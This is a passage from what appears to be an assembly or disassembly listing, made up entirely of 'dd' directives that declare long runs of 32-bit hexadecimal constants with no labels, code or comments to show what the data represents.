3AC26E59h, 0AD809DACh, 1E5C3A98h dd 7B00FE28h, 4E0D2937h, 173353E9h, 3C739Bh, 7DB74844h dd 5D0092DEh, 99069385h, 1C38481h, 0B20996F6h, 0F4CC4E0Ch dd 3213911Fh, 0AB00D813h, 0D15F10FBh, 5EB50023h, 3DC924DBh dd 7C05EB25h, 429863E0h, 25A600C8h, 84009416h, 0A460D175h dd 0FD033FE0h, 8D56EDB5h, 0F483E0CFh, 3C3CB2A8h, 359DFB24h dd 0E315C3EEh, 2900E04Fh, 9F4B444Ah, 9F0D253h, 0DCAF7127h dd 33DBA887h, 5AA06914h, 616F9831h, 22E18070h, 71AE1AB5h dd 16D23F9Ch, 454A6000h, 46AC891Ch, 50189E27h, 0DE190074h dd 0C705353Ah, 0D50086CFh, 56B90D9Fh, 15C162Eh, 7FB114CBh dd 0F00B9960h, 5300A3F6h, 911B6D12h, 0FB9B0Dh, 56D36807h dd 0DE5BBE73h, 0B520E10Ch, 1CF78ACh, 24ED4AD9h, 80BB0D3Dh dd 14D00920h, 2855DB6Eh, 165C9D31h, 41B4F5D3h, 7436343Ch dd 0F61BE4B3h, 0C90083E2h, 0C2FC72D0h, 14A3BA4Ch, 0EEB6DA16h dd 0CAF41900h, 283852BFh, 3D889800h, 4007B52Dh, 635900FCh dd 26ED3A84h, 2700D9B2h, 0DEBC9745h, 765A2D03h, 5CDC0096h dd 0E4D84A3Ah, 0DF00A2AFh, 8DEF2B67h, 0A040CC4h, 0A787968Ah dd 68510CF5h, 0E90063B0h, 0ADDDDC7Dh, 18CD93D0h, 0C11BBAB8h dd 610119BBh, 47E3D21h, 64744441h, 91B800E0h, 471BBF8Ch dd 0A00055D8h, 1F72CE35h, 15F202Bh, 0A39A86E2h, 0CA24C81Ah dd 58571060h, 0B1DF41C0h, 0C0C77Bh, 0C4A5EF2Ah, 4A445E59h dd 6E13CE02h, 0E07AAAC5h, 979F5210h, 483B5BF8h, 8EBA03BCh dd 0C8B48550h, 3EF269B9h, 1B00C522h, 0C831DCCEh, 5C000F7Eh dd 3C533497h, 1422DF10h, 0B9071DDBh, 7D6D1900h, 0A458AC82h dd 0B01B5A0Fh, 5115A53Fh, 0DA12E040h, 34B17FCh, 106D906Eh dd 93E94F67h, 5EF1F0D7h, 0BE8529C2h, 988470E5h, 64B70643h dd 0B879F345h, 0F0C19900h, 0ED6078DEh, 0FDFF03A6h, 99ABF84h dd 8F55F598h, 1328A15Dh, 0C0017102h, 9AC283EFh, 3022AC70h dd 0E3F05124h, 0EA725286h, 59D158h, 311296DDh, 1AD9476h dd 66EE05AFh, 208B99F8h, 60000880h, 0A4159E39h, 0E3A5B86h dd 484652Ch, 20C0FE86h, 4913C600h, 361B9C11h, 7F44FE23h dd 0C1310190h, 689660FBh, 0C09720E2h, 9DB7E83Fh, 0E6015155h dd 90926D5Ch, 21800CD1h, 0CB07CDA9h, 0D50037CEh, 4516696Bh dd 160C443h, 0A42DC1FEh, 0E3E6C08Bh, 802CAAF7h, 4F9A44B8h dd 4486913Fh, 0F300C839h, 2B0CEA07h, 3138CD64h, 99C18AE7h dd 0E2F0F8EEh, 100E5C30h, 0FC78B720h, 0D7B90C8Eh, 900983F9h dd 0CEB8F700h, 4E7ADD43h, 31810035h, 25200319h, 0C600FD12h dd 0AF24F774h, 70CD0E0h, 0D5CDD2E2h, 28CBB688h, 0C00B1800h dd 0FFB5B0E5h, 0BC251DF3h, 1AE40CE0h, 0F40BFA20h, 803267C0h dd 0BF3F1B78h, 17D63CF8h, 0EBE20D81h, 8D2006B7h, 608A8C88h dd 0ACFF2080h, 59BFE203h, 0CC89A500h, 33DB425Ch, 0E70138F1h dd 8DEAD307h, 0B1176065h, 4900D1EFh, 52CBAE7Ch, 0E9F9C11Dh dd 0EE926E0h, 0E247897Ah, 53135420h, 6D00953Ah, 841D18FAh dd 0CE9F2A5h, 8CBBA681h, 22849628h, 0D82262A7h, 822122A6h dd 448408FBh, 28A04C79h, 0AE888EB5h, 45EB883Eh, 77C828Bh dd 0CF7AA09Bh, 2F384133h, 1152004Eh, 27CE9A82h, 327205CBh dd 0C484F67Eh, 3C58C045h, 973E7A79h, 0D800F78Ch, 0C7A2D76Ch dd 0B98031h, 788ADBE1h, 0F97C3F88h, 46E6BF0Fh, 11A8808Fh dd 0FCB02A1h, 0C274559Ah, 57AB5B61h, 0A605EC80h, 0EA8241Dh dd 44C47740h, 7B16094h, 8E1229F4h, 2D2F38Fh, 0F0305391h dd 203BB5D6h, 0B488098h, 0D5A5276Fh, 0CDC80014h, 0C59F4D6Eh dd 26005D06h, 82E395BDh, 0E665B321h, 8F0D0598h, 0AE436Bh dd 0E19AD8D8h, 8774C988h, 7400AD7Eh, 90F280FBh, 0F9576CEh dd 70D78DDDh, 0F0CA3F07h, 0A3BFD60Bh, 0AF572303h, 0E82DD382h dd 3A72CCh, 250D5386h, 0E13C0CA0h, 64D4F500h, 0C4B0B648h dd 40D809C1h, 142046F8h, 8E17CAE1h, 0EF50A409h, 565C00FCh dd 769D29Bh, 7BDBBFA9h, 436F60B2h, 6701E3D0h, 0F10DA09Ch dd 8A60B6DDh, 0EB1B004Bh, 9A9148A2h, 0CA00BE3Bh, 49397799h dd 549232h, 0A0FBE178h, 0ECF9045h, 185E1900h, 0B3170398h dd 41300B4h, 520BA2D8h, 820FD03Dh, 2098E6CFh, 48A57AACh dd 7F5E812h, 5F6F734Bh, 0CEAE201Fh, 45037DABh, 92753042h dd 56809152h, 0E70C70h, 0D52F1AB3h, 18B6B821h, 0D045C300h dd 689319F0h, 405700E1h, 2E1F8A54h, 0D42C0B27h, 9500FC51h dd 0DBBE384Fh, 141B00BCh, 0E9DAFB58h, 0CB05DBAh, 0C96CDE00h dd 8F4572E0h, 5ABE04C2h, 8759B76Fh, 98467076h, 0F900D231h dd 0C8E24F0Eh, 7073BA66h, 0AF300A3h, 4D196B65h, 4500864Ch dd 7406FE13h, 0A3B3282h, 0C229D287h, 42760092h, 0A1C8B761h dd 763EFD3Ch, 7787C700h, 0D5A66766h, 10B90037h, 9F073FBAh dd 3C00F0E6h, 0C3A9CA08h, 439DC8h, 4408192h, 137AD1CBh dd 0F2603F00h, 39CCD307h, 2AAA00F8h, 0E10D34A6h, 330731ACh dd 0F92E89C4h, 487795C0h, 0D17D0068h, 739E7869h, 62091ECBh dd 80B282BDh, 7C514C6Fh, 0BB139D3h, 0EB284989h, 96C61420h dd 0A4A034FAh, 5E9C9354h, 0AFF7DC00h, 177F812h, 1E8CD053h dd 2065A2CFh, 2A00607Ah, 0ABC20C9Dh, 11EB79h, 41DAC0CDh dd 0E254BCE7h, 845D8D04h, 0ABE8EDh, 9CD8CEC7h, 0D6007618h dd 43F53326h, 0FBE3EFh, 63302848h, 24570172h, 91250703h dd 604140DFh, 0EF44F8ECh, 0A0EAD9Ch, 7DD6843h, 0BC60963Ah dd 16423C7h, 7F7AD072h, 0C490A1C6h, 99000F41h, 3CAF5063h dd 1BAD6E0h, 4EB7ECAEh, 0CCEDC4C1h, 0BE0028D3h, 0ACCB7106h dd 0C2279Fh, 0D445656Ch, 14691DB1h, 887A3D01h, 7B66724Ah dd 0E654DCh, 49D87817h, 92953C1Dh, 3E2F148h, 343AE994h dd 3D608FE5h, 1CC86913h, 0A1F66Eh, 0BF5156E1h, 0DD0028CAh dd 0D6E9E6D3h, 1DAEE89Eh, 417F861Ah, 9261EB0Fh, 0E980C669h dd 0EF07D834h, 0D3B9250Fh, 0AFCDE0D2h, 50FBC5h, 213A674Ch dd 1CE09640h, 24757A00h, 1763D915h, 27640029h, 690358AFh dd 557DD5F4h, 6B142800h, 43B484CDh, 3AEF00CBh, 2AB867E1h dd 0EE01B156h, 529F7A59h, 89206F07h, 65933E34h, 55DC5700h dd 64F8AF62h, 0EFE7AA03h, 0A0967D99h, 7FD0D936h, 23350141h dd 5DAB653Ah, 0E1FECCBCh, 0D100CE7Fh, 0AF8FE3E0h, 73DA703h dd 0F299142Ah, 7335701Bh, 58009E54h, 8D7877EBh, 5C217EAFh dd 0CA00BE36h, 855734A3h, 0C1018CB8h, 0E38DF766h, 81D07C26h dd 5D8F004Eh, 0B421879Dh, 0F70050EFh, 59F91E0Ch, 1605C78h dd 0BF2B4A29h, 0CC320E5Eh, 1839A337h, 2F8F807Eh, 5B41A5D9h dd 14D60E51h, 0DB206D94h, 6CA33863h, 8DFD3000h, 39A405C1h dd 0FA480350h, 6F420896h, 0A22426F8h, 0C7B50C00h, 21711A85h dd 779A3E4Ah, 0F87B940Fh, 562216ECh, 0C861BC00h, 4B5B9F35h dd 63DA01A1h, 1E0481C9h, 6D49D8DCh, 0CBAC71C0h, 1CABF305h dd 33341B0h, 8ADAF87Eh, 0C5A27DB0h, 36EB0D00h, 3A4A7F38h dd 0E01E6566h, 39C980B1h, 0F34CE494h, 242E0044h, 7015A6C4h dd 64CF00FBh, 1A3E106Ch, 6903305Ah, 0C7367DA8h, 0C0780227h dd 0DDA3642Ch, 3817FDC0h, 9C623100h, 7001C4F6h, 0A307EF7h dd 0BD34B63Ah, 0E5BE02B8h, 0C710F560h, 8ED800ABh, 8A25348Bh dd 92000230h, 9C6BCBA7h, 7A879AC1h, 6695016Eh, 0C8D22025h dd 85B8CC51h, 897B4E1Dh, 2A8CE2C0h, 0FA389B5Bh, 0D08E0035h dd 1791DBA6h, 0B23DD7DCh, 656980A5h, 0E0C55DF7h, 0FABC0FB1h dd 9EE711BFh, 0F2BE7036h, 48003A4Dh, 0D2F778FCh, 30F4BB2h dd 0D9FF2B8Ch, 9490255Fh, 9900E2F4h, 0FD7802AAh, 0EA6EC96Dh dd 130400CCh, 8653156Fh, 291CF660h, 0D080B2FBh, 5E4BC6A2h dd 0D57B00E6h, 0B7A8182Dh, 9800033Eh, 65EE8284h, 0D0B8DEh dd 0D3935E1Eh, 4B67CB26h, 4F94CD03h, 0D0072F6Bh, 1D6931h dd 3C06053Ah, 0E2B835C6h, 40906100h, 0F7A09D6Eh, 580F7E11h dd 0B100D07Dh, 0B7B6CC01h, 1C00A7F9h, 2C07C683h, 0A5EC79h dd 4197EB0Ch, 20F8F510h, 0C3E5900Eh, 0E1BFA00Bh, 0FCF02BB5h dd 6DD05863h, 75D44800h, 36F49F0Ah, 0B8A4AC00h, 84DAFA4Ch dd 60DC7878h, 0D835382Bh dd 0F5032821h, 2A1207BDh, 88180029h, 53731C5Dh, 0D700BE96h dd 546074DEh, 0B46D4Eh, 8592E4C5h, 246E46F5h, 0AC0DC11Dh dd 1D10DBC0h, 756FD0Ch, 84297104h, 4426417Fh, 158B907h dd 8353E9BBh, 0D8804041h, 0F0595135h, 0F9002BC0h, 0A6F45486h dd 82345h, 9E90AD0Eh, 0C2D7C0Ah, 6A6D0201h, 0FF99D8Dh dd 7A8EE0h, 8C89E61Ah, 31C5F326h, 8894B200h, 6A4CC98Bh dd 8A4A0EB9h, 6B6787EBh, 4E9F8016h, 0E700C570h, 1C6F1063h dd 6544BCh, 0FBC15DC8h, 0CB25D9C0h, 0D1597004h, 9C800A11h dd 91FAF3h, 0A515F6A6h, 0C9E2ED4Ah, 0F7F1A001h, 0AA45DE62h dd 108C30h, 1DD82E9Fh, 0CC9D9016h, 0F681C501h, 118C82D5h dd 636EC8h, 0EE30DAE5h, 0A6BE8BF9h, 3C101F00h, 0BBE902A3h dd 947F042Bh, 80DCB216h, 0B6B475D0h, 24ED6500h, 39CAE7DDh dd 742209C2h, 1C8098D5h, 0AE3E6448h, 6E65850Fh, 53B5406Fh dd 0DD6334h, 73DB12F5h, 0EF76F8D3h, 0FAE730C0h, 0F003DC52h dd 9A4500A5h, 57C36799h, 0C2008DD1h, 189D9B1Ch, 49F8848h dd 0DC8B8934h, 0C9388041h, 75F88297h, 2C9BC800h, 0F2A8F1EDh dd 0B03F48D5h, 0FEB33900h, 4D306A6Fh, 1D3B4300h, 8BD3AAA3h dd 49280682h, 883E807Eh, 0B1BD9500h, 4FE9329h, 0FDCA065h dd 0AF190111h, 0AC46EC8Dh, 0F367C887h, 4A51DE00h, 0BB54794Dh dd 0F4A3F46Eh, 841E1818h, 7C38206Dh, 7EB02500h, 0D2FF6EE9h dd 2EAF0FD4h, 0ED063071h, 14006095h, 9F8A4EDCh, 0E97A83Dh dd 0D35EF0C6h, 0D81AD1A0h, 827B8C0Bh, 0CF678800h, 45E7E9E2h dd 78F900D3h, 0BE3260CBh, 0A9173F3Ch, 9D006BEAh, 0E77BD531h dd 426300D8h, 27EBB045h, 7C3C9124h, 0D7FB80A7h, 8C7B83F2h dd 533300B8h, 1BA9C8C4h, 56005505h, 4ACCAD1Fh, 437B13h dd 0D788C08Ah, 0A61B4782h, 0DB51421Eh, 0EE8F6E80h, 4C8A1614h dd 6A18622Fh, 2AE92018h, 44D9F803h, 998782h, 90123E29h dd 3235333Bh, 391C102h, 0D79E1E0Eh, 8C0FF163h, 3393B7Bh dd 8F635001h, 4BA0F2D7h, 0F02DFEh, 21F9BBCCh, 914D1E3h dd 0EBF4400h, 0A7B1F6C2h, 0AD9B502Fh, 0B0F8009Dh, 0D77D6B2Ah dd 1200339Fh, 55C4CA4Ah, 7A729AFh, 0BC2DAD81h, 2AD2E319h dd 0C9DBE5F8h, 5B4ED900h, 31CDB79Eh, 0CB28002Bh, 0C1F950E6h dd 0D9001DDAh, 26B422AFh, 0EE5F3FCDh, 40A1D84h, 0F7638030h dd 0A74A3AAAh, 0D4E9A00h, 6C996D96h, 0DB560514h, 4EF0AB06h dd 0AE5F6C0h, 0B3FBC036h, 0A97E3009h, 60D77B00h, 0ADD854DFh dd 8CC400EAh, 8D6D3FB0h, 0BF02BD12h, 3166B7FBh, 7935C16Fh dd 508708E9h, 0C07E3934h, 2A0E858Ah, 14E84000h, 634BCAD5h dd 96950173h, 12CBDFAh, 808B71E1h, 66F328E8h, 0A7AFD7h dd 8C7332EAh, 4116E4E5h, 0F8BCD151h, 3F00602Dh, 915C34C4h dd 220D9B8h, 17F3AA36h, 0EC8071F9h, 265D89E4h, 660025EEh dd 48643B86h, 767F9892h, 215103F0h, 3FF75D81h, 603EFF0h dd 0ABE75B00h, 9A32B4ADh, 0F11B0126h, 0F263D562h, 46A9D4A2h dd 5C28EC17h, 0A820EEAh, 7ED86400h, 3B00CB8Fh, 0BEB5D45Ah dd 0E07132h, 88BFB0E9h, 9B84708Dh, 0A22F3F02h, 0F7B2819Ch dd 4CB5F00h, 29097607h, 0DCBDFCh, 0B33EBB78h, 0D7160C41h dd 0BF0F3E8h, 80056E00h, 0E3D213DBh, 38373A56h, 557DC54h dd 9AE465A5h, 0BCA80EE1h, 9ED8BBC1h, 774884A1h, 0AB03F183h dd 0FBB0EC4Ch, 0FF16D923h, 7800FAA4h, 391A91E5h, 0C050C07Dh dd 63163A7Ch, 40DF87A2h, 6946EDh, 5B869F82h, 97A760Eh dd 2AFBF02h, 406ACBD3h, 366D6B0h, 0F9F46992h, 26F0DFE9h dd 0B801A741h, 4DA1E36Bh, 0DEF9D1C3h, 4488D4h, 85F4E048h dd 0CE8D11EDh, 0B509EC00h, 0D38F5759h, 552D00E1h, 58483129h dd 0FE01EBAAh, 94D8D75Ch, 0CB70A08Ch, 0F7C609E8h, 0C210280h dd 203060CFh, 4800B383h, 0C2BEED5Bh, 3943F3C0h, 3D80A1EBh dd 0DC41955Ch, 4B065416h, 1D6E05AEh, 31FD0040h, 0AAC92066h dd 36B8A7FBh, 70743905h, 4A807313h, 92A32C1h, 9B17ADE0h dd 72140F80h, 4200E893h, 0FA0ACF3Fh, 53EE28h, 0BC69D9A6h dd 84D4C8BDh, 9939DF28h, 3061E500h, 0F828B9E2h, 0FDEE53h dd 0B7F1A69Fh, 0BEF26260h, 25D6B00h, 0CE7879C9h, 17EBFED8h dd 1CCAB1FCh, 2600BE50h, 0EC7FAB88h, 2009611h, 331A3C6Ah dd 551391Bh, 650AA79Fh, 0BED020F9h, 0D8487872h, 84453D15h dd 73361A6Ch, 42079480h, 0E4D43D6Ah, 6057E880h, 97CB52Dh dd 0F4175B00h, 9CB77188h, 0D11F038Fh, 373AE857h, 50D46591h dd 50F4EB98h, 4DD5DC01h, 88E83BCFh, 0CA58DC0h, 66422316h dd 63030968h, 0C04AB6D5h, 7BE490ABh, 596D00A5h, 8E0B4287h dd 0F000DF91h, 548365F7h, 60D2AA76h, 0E122D0D7h, 6800444Ch dd 0D61AF689h, 0E27672D4h, 0CB5500DFh, 0DEA7E740h, 48009D4Eh dd 829A2CB3h, 1E7B91h, 46ED92BBh, 4981F5C9h, 0A2EC1004h dd 0B809EDBh, 758EA53Dh, 946301C1h, 1588AE44h, 6C08201Ch dd 6A007C7Eh, 0FE37C63Fh, 0EE5940h, 0E3AA0354h, 0BEEC6FD9h dd 8AA41B00h, 7F5B8033h, 49193B3Dh, 6CFAB880h, 0B880724h dd 36E9A100h, 26A5BB08h, 0BC9C006Dh, 7990D4C1h, 20098B82h dd 15312FDh, 63DC2548h, 9E9C9D00h, 0FE542B00h, 0FA6CB0Dh dd 475700DDh, 0CFA75F6Dh, 85174FDAh, 700101A1h, 75230B0Dh dd 5D4820h, 33B02D91h, 4BF50CF3h, 0A8F61C13h, 0E67B3C00h dd 3FFAEDBh, 8343ED47h, 6FB839C8h, 100386E8h, 50A635E7h dd 0B5E189DEh, 28982EC8h, 0E47D09h, 87BC3C6Dh, 639023F8h dd 16ABB006h, 1C4098E7h, 40665264h, 1BBD9FE0h, 0CB7CD7E4h dd 9BC64F00h, 204DAC5Eh, 0DB90083h, 875D9CF5h, 28006FF9h dd 2CC6BDEFh, 0FBC793h, 60A722Eh, 0B7E22280h, 0E8F29500h dd 0AE52C4C8h, 0FBBC010Fh, 0CB65A186h, 7213D85Fh, 6800D073h dd 0B1B206A4h, 7B8D47A5h, 0E2A4C3EAh, 0FD98B6h, 3861AFACh dd 5A00E0B7h, 7DC58597h, 31EFA0h, 0DA3B7CEBh, 758B9558h dd 40F7241Eh, 0BA075D5Ch, 0EF778C04h, 43AE4510h, 575A0248h dd 2B92A506h, 30BFDCC3h, 7C463327h, 3365A02Ch, 2104332Ch dd 0B89039B9h, 5AF35Eh, 0AE2DE0Fh, 0F09FC41Dh, 3F0C6C00h dd 669207F8h, 2FEA0F76h, 0C4C4EC16h, 4F64C059h, 0E017091Ah dd 9C039638h, 0C828A4BAh, 1203A519h, 0A80AE6h, 0D101868h dd 709A1390h, 1CB40110h, 50323910h, 0A30011D8h, 335AFF8h dd 1E94E86Bh, 0C03C9D16h, 0D48A28BAh, 4F24426Dh, 43000609h dd 0CBF82295h, 3BA5039Eh, 3AE33757h, 667360A8h, 0FBADE100h dd 31043601h, 12DF004Dh, 6E392DCCh, 0FF1E64A7h, 1CFC0348h dd 4240D097h, 95A004FAh, 5CEB4CE8h, 0D51FBD00h, 36B51A96h dd 6C74F300h, 53CEB63Ch, 0F14007EEh, 701BE852h, 0D82CC58h dd 7200D8E2h, 63D778C2h, 435FA0h, 0FB31B5Ah, 5BEF0783h dd 50A23000h, 0BD1AA146h, 9AA5030Dh, 0DF098F4Fh, 2FF8FDC8h dd 0C8248B26h, 0D8595C00h, 15003DCh, 0BD880451h, 0D04B15A8h dd 4E009019h, 0A1FE6BD1h, 946FE825h, 82850060h, 0B2BC17C6h dd 35490800h, 8B7CA7FFh, 643D0444h, 80CE50F5h, 5319C9AAh dd 0B5113A01h, 0BC42A4F4h, 0AE406C1h, 631400BDh, 0E1BBCA13h dd 20C0F527h, 939537ABh, 3F21005Ah, 0A2A791BFh, 0C717481Dh dd 0E820C1F5h, 0B3EFF2Fh, 0ED72A42Ch, 2B4B8700h, 74397E3Ch dd 56C400BEh, 0C2DEB8FEh dd 731C00FAh, 0F862339Ah, 39008F19h, 0A6C5B0EEh, 0FDFB80h dd 0C6464870h, 9D08171Bh, 8E151C0Ah, 100A895h, 0B28054B5h dd 0BC0C502Fh, 57B400F2h, 69565A87h, 60000E8Ah, 0B11DA926h dd 70935ACh, 0E7EAD029h, 8ADCB040h, 660F2D58h, 0E0A64656h dd 7F309F25h, 4516001Ch, 7461B437h, 1900EBADh, 0BB6394D3h dd 7AA3CDh, 0FCDF3115h, 951B7F7Eh, 2001F8B0h, 21291FAFh dd 0DFDDF835h, 1DAA0474h, 80143FE8h, 0A31FA7F7h, 1E037612h dd 5942720Ah, 56283862h, 6330D730h, 66F202ABh, 8C1F083Eh dd 0E13FEC9Fh, 781203B0h, 89C71770h, 0FC57DAC0h, 0E2ADCD00h dd 7E5E5513h, 0E44C036Ah, 5429E925h, 0F8A12FD0h, 1A83DB00h dd 7A20E5EAh, 233033C3h, 0D4D0E0B0h, 7B209876h, 0EDE800F3h dd 2B29C71Ch, 0E9184879h, 0B1111E15h, 0ECB8A0E7h, 7383007Ch dd 8F215927h, 28E8241Ch, 0DE53F914h, 87207Ch, 0FFA7F613h dd 0D52169ABh, 5F973B00h, 1B184CF2h, 49731D0Ah, 0AF64E6h dd 0FF601F89h, 2A48D108h, 8A007527h, 0D9A1223Eh, 1DE37FEh dd 9DC94C6Eh, 0F199F64Bh, 9BE1D4D2h, 7DD6F51Eh, 596CB783h dd 50FAF0D4h, 512A0EAEh, 0B2C044AAh, 0E7799545h, 1E7EA300h dd 8011EE01h, 2640005Dh, 33DF602Eh, 93009BB2h, 34B77C29h dd 4C25976Ch, 0F5004EF2h, 0C6E3CF0Eh, 1400376Dh, 1CB965FAh dd 3C84EB6h, 17F1A98Dh, 0C54ACAh, 393B60FAh, 0BE384F5Dh dd 10832696h, 532F00B9h, 0D22A4E3h, 55E87Ch, 4B85DB5Dh dd 6054469Ah, 8FD49100h, 8884D77Ah, 38F066h, 639D3EAAh dd 0BB270C86h, 0D430B04h, 4090D407h, 62E856h, 0F19444A1h dd 9D092285h, 0CB64CE00h, 8DBDAB24h, 44A31E3Dh, 43764E7Bh dd 7020034Ah, 16432EA0h, 0DF00A7Fh, 80F02AF4h, 0B3421003h dd 47078721h, 1F949F5Bh, 24906E44h, 19599869h, 0F98E301Bh dd 5EB36061h, 0E976FC00h, 903F99CEh, 0DE810F43h, 8073B9D7h dd 0B5DBF2C8h, 0BC5EEA07h, 0F8E37FCAh, 308249Ah, 2A3D8084h dd 12BEFBEBh, 2D056C7Ch, 0DF33206Dh, 2068242Bh, 0A9378024h dd 12619585h, 27292F00h, 0A160569Ah, 0E3D90707h, 0C0E83E9Bh dd 89DB32D5h, 1ED07E60h, 0DFEC5455h, 0A1B73948h, 91D90419h dd 0E82D50E4h, 7906A4BCh, 35A3E3E0h, 0DA30C548h, 0CA45F0Dh dd 2768ECE1h, 0DB1040F1h, 5580F1A3h, 0F36A29F0h, 42D381BCh dd 18FF20CAh, 3B268871h, 0F1935909h, 0D635802Dh, 60FEAAD4h dd 18FB41E6h, 2304F043h, 6EF459F3h, 91053CD7h, 0C84AD440h dd 0B3BF87h, 40B1807Fh, 70A507E7h, 7BC02554h, 3B26A174h dd 7740605Eh, 9CC33ADh, 3FF4531Fh, 46F6C187h, 0D40031EEh dd 673233B6h, 0AF9B144h, 0E4C81EB0h, 0AEBE80C4h, 558D0B89h dd 0A800E0F2h, 680DB6D5h, 681A43Ah, 0EA07B77Ah, 72078131h dd 9269F046h, 0E8DFA8A1h, 0E48E8h, 8CB26CB8h, 3035687Ah dd 5730FFF4h, 0C9A4D881h, 0E62F0FB8h, 0EB40E931h, 3771B02Eh dd 0DCF92467h, 1E9EC130h, 0B9A700BEh, 361AA320h, 241F05C8h dd 981C89F4h, 303C950Ch, 0EC5E33E9h, 0EFBAB2E1h, 6840D6C2h dd 0BA49D7D1h, 0EAB88244h, 48CDC15Dh, 5C4C4423h, 0EB29A680h dd 0FF523F1Fh, 65B300D4h, 0D00470FCh, 54FB22BCh, 12556316h dd 458C9002h, 0CBCC4111h, 42045A18h, 1F97212Dh, 0A3232632h dd 77ACB04Eh, 65F296h, 0CA11B07Ch, 0F4F93322h, 5B032C0Ch dd 0FFD9E8h, 32619DE5h, 0A653F83Bh, 4235D700h, 0E3F2CC91h dd 50C6002Ah, 76280D9Dh, 6312C889h, 0C3053E5h, 23C23267h dd 7218E31Fh, 0B91621h, 87765033h, 0F0BA1BA3h, 862E4804h dd 0C4876422h, 0FCFE6300h, 0CC4E5C68h, 8C698850h, 2F425C02h dd 197AE721h, 0E41D102Bh, 0DBFD0026h, 0D4EC2D3Bh, 0CCA0E68Eh dd 0E2FB036Ch, 12C0806Bh, 600019C0h, 0DE7FFF08h, 0E880A755h dd 9521C3D8h, 73F019C8h, 7A0A6783h, 2029036Dh, 0C519C140h dd 2277460Bh, 699409A1h, 0C2007C20h, 399F3BDh, 10023FB0h dd 0B930AC32h, 0FB8449BAh, 0ACCCFC24h, 426102ECh, 476F20B8h dd 14107519h, 2B0959E9h, 80834E74h, 586E8C60h, 0A13500C9h dd 82F26804h, 5C066AC6h, 5E15E293h, 3F3C0010h, 6B1FB9BBh dd 0A0704ABEh, 3162E658h, 0A719205Fh, 1E73E8h, 4B290435h dd 9DE3AB88h, 0C681EA00h, 84992362h, 5F440059h, 5DFF03F0h dd 0C8003F1Ch, 0BCFCF938h, 6E8626Fh, 68EEE5FBh, 21F38EDh dd 0B85257h, 845C3C18h, 37D9FA72h, 9078453Fh, 0F3B89C5Ah dd 0F712DF2Eh, 0E986761Ch, 0E40F8DCh, 8344EF5Ch, 1DEBC898h dd 0A400B1DFh, 0C5224E41h, 20C76714h, 0E286C128h, 11BF1Eh dd 45CAD5A4h, 334340B9h, 1D088901h, 19C4210Eh, 0AE1AA0D4h dd 7A4854h, 0E0AAA7Fh, 0FABE0FE1h, 0EB21A526h, 485E7030h dd 0D48E3E39h, 40EB150Ch, 8F67E89h, 6745F01h, 5EC1E16Eh dd 8066B16Fh, 8310121h, 0EA9A42Eh, 7D19D3D5h, 9AEA6B60h dd 0A758DC9Dh, 616F784Fh, 0C8CC05F1h, 27B6DC20h, 8D0A0C72h dd 24105577h, 0D7EEC00Ch, 4CDE319Dh, 4133B2C7h, 0DFF89A30h dd 0D7792125h, 0ED94BB05h, 0A04EC583h, 58069290h, 7105D48h dd 5F9FBC66h, 0C661400Eh, 62745645h, 892180EDh, 9AC49E5Bh dd 7FE00734h, 0B12B0458h, 80420871h, 0C34699E1h, 2AA97EB4h dd 22D42337h, 2B014062h, 1E4C4964h, 4452FDA9h, 9F8F3004h dd 640E3A08h, 31D96660h, 9F86CC00h, 77B51F99h, 0C43354B8h dd 3B028C13h, 56759108h, 100D196Fh, 0F9357h, 0AC5112B6h dd 36E23296h, 0A750D60Ch, 2C69D2h, 0BC17103Fh, 0AFDC29C3h dd 96568903h, 0E8DD9120h, 1E6B7587h, 818DA0FDh, 9B9DBC7Bh dd 5E24C4CAh, 3108BC91h, 0BBC960E3h, 0E6E61E13h, 97194486h dd 81DFAD3Fh, 6B634CAAh, 5DF0C465h, 5CEF4009h, 95945307h dd 16D3F1CCh, 7151B858h, 0B2825075h, 0F4F45212h, 297B57C7h dd 67928804h, 0AF04D405h, 888C4719h, 2000F5F9h, 3C00D415h dd 6A1E466Ch, 0D7A9C4h, 0DCC71B71h, 0F4FDFA36h, 3DF73Dh dd 8151C2CCh, 6DB54Ch, 0F1269680h, 55E62D8Ch, 0EF002CE8h dd 5B1A4EB0h, 0BC97DD5h, 0A85ADF43h, 0C01099A4h, 3CB71EB9h dd 0B9075B00h, 8BABCEF6h, 6B4F28Ch, 283F362Bh, 0E200B079h dd 0DF308FD9h, 0B14C7h, 8FD60AFh, 5873E49Fh, 5AE0E200h dd 0C427CDADh, 92F20039h, 0E159810Bh, 67004A3Fh, 0B01712EFh dd 1C939Eh, 0A11F5AC9h, 3DA964ABh, 35341B1Fh, 8FB58580h dd 0CDA3F3h, 0FEC8C4F9h, 818BA1CCh, 59E85000h, 196DC588h dd 450D0052h, 3B8DBF99h, 0F002BFEh, 0F73C90D3h, 1FB07E78h dd 0DF63858Ch, 46200119h, 40E4E114h, 0D9531D80h, 62800160h dd 301A0E71h, 2B400B82h, 0BF00785Ah, 0C241CD1h, 18766160h dd 8052FBA1h, 6D00CF9Eh, 1C4158D5h, 115F82h, 0ECA2B4D3h dd 136CBCF5h, 452C9014h, 179F14F0h, 0C97F0A80h, 0EC0C041h dd 211ED6DEh, 9C913D67h, 36566E00h, 8A67AE2h, 0C734FE00h dd 0F5B7AA9Eh, 8D500011h, 5BA1A560h, 58074722h, 8AEB8E82h dd 1DAB2330h, 79520E8Fh, 0F4E7E9FDh, 92CF904Ah, 28001956h dd 265ECD35h, 8EF5983h, 151A60Fh, 0F660AEE1h, 0C58E6100h dd 13DD39h, 0DA8ADB94h, 0A06735D8h, 0EFBCBE0h, 337A8365h dd 3615CEA2h, 45810043h, 0D143D4F8h, 57F1E001h, 0CDA21F95h dd 0F920ACCDh, 0C01C5088h, 21D300E4h, 0BAD41644h, 306077C9h dd 0C8C545C1h, 406100E0h dd 59BC24E6h, 7D00D911h, 9E20EA98h, 90EB3A08h, 0FA070040h dd 8AB27105h, 0BB3B404Bh, 1104FE92h, 0F6E4CCFCh, 866208Ch dd 6552126Dh, 754056C4h, 69C578A3h, 0CB7E9C00h, 9AFF5839h dd 0A9810047h, 7624DDCAh, 50001916h, 37346D03h, 7309C1h dd 0BE9E0F96h, 8282FB1h, 0FFE3A100h, 20589CD6h, 0C0AF1EBCh dd 3E24433Bh, 400014AEh, 85978AA0h, 40F4F1h, 0E4E8C33Ah dd 0B39B0D66h, 107D3700h, 80714A25h, 0CDA40147h, 0F5F60CD9h dd 49A0246Bh, 6DC19202h, 66AA505Dh, 81FB02E8h, 7E840E36h dd 8810DC19h, 72059F92h, 6DEDF5C1h, 45F088h, 0CAC35308h dd 1AEBDE55h, 0CE29402h, 90AE5C91h, 881F530h, 62540E38h dd 